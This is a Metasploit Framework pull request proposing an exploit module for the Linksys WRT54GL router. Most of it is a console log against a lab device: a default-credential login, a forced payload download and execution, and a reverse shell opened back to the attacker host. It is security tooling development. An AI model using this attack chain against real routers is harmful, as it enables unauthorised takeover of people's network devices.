rapid7/metasploit-framework — pull request #1703 by m-1-k-3 (2013-04-04 15:42:46+00:00)
Title: Linksys wrt54gl exec exploit

Hey guys,

this is a first try to replace the auxiliary module linksys_wrt54gl_exec with a nice exploit module.

Exploiting Demo - 192.168.178.105 / 0 exploit(linksys_wrt54gl_apply_exec) > exploit
[*] Exploit running as background job.
Exploiting Demo - 192.168.178.105 / 0 exploit(linksys_wrt54gl_apply_exec) >
[*] Started reverse handler on 192.168.178.105:3333
[*] 192.168.178.122:80 - Trying to login with admin / admin
[+] 192.168.178.122:80 - Successful login admin/admin
[*] 192.168.178.122:80 - Trying to download the original configuration
[+] 192.168.178.122:80 - Successful downloaded the configuration
[*] 192.168.178.122:80 - Starting up our web service on http://192.168.178.105:8080/ZclrwttCkbMa ...
[*] Using URL: http://0.0.0.0:8080/ZclrwttCkbMa
[*] Local IP: http://192.168.178.105:8080/ZclrwttCkbMa
[*] 192.168.178.122:80 - Asking the Linksys device to download http://192.168.178.105:8080/ZclrwttCkbMa
[*] 192.168.178.122:80 - Waiting for the victim to request the ELF payload...
[*] 192.168.178.122:80 - Sending the payload to the server...
[*] 192.168.178.122:80 - Asking the Linksys device to chmod ZclrwttCkbMa
[*] 192.168.178.122:80 - Waiting 10 seconds for reloading the configuration
[*] 192.168.178.122:80 - Asking the Linksys device to execute ZclrwttCkbMa
[*] 192.168.178.122:80 - Waiting 10 seconds for reloading the configuration
[*] Command shell session 27 opened (192.168.178.105:3333 -> 192.168.178.122:2099) at 2013-04-04 17:37:07 +0200
[+] Deleted /tmp/aaageznt
[*] 192.168.178.122:80 - Asking the Linksys device to reload original configuration
[*] 192.168.178.122:80 - Waiting 10 seconds for reloading the configuration
[*] Server stopped.

In most cases restoring the configuration works well. At least the IP, hostname, routername and subnet mask is no problem. The statical DNS server configuration within the DHCP config often breaks. Till now I have not found the reason for this and so we should use the ManualRanking.

Best,
Mike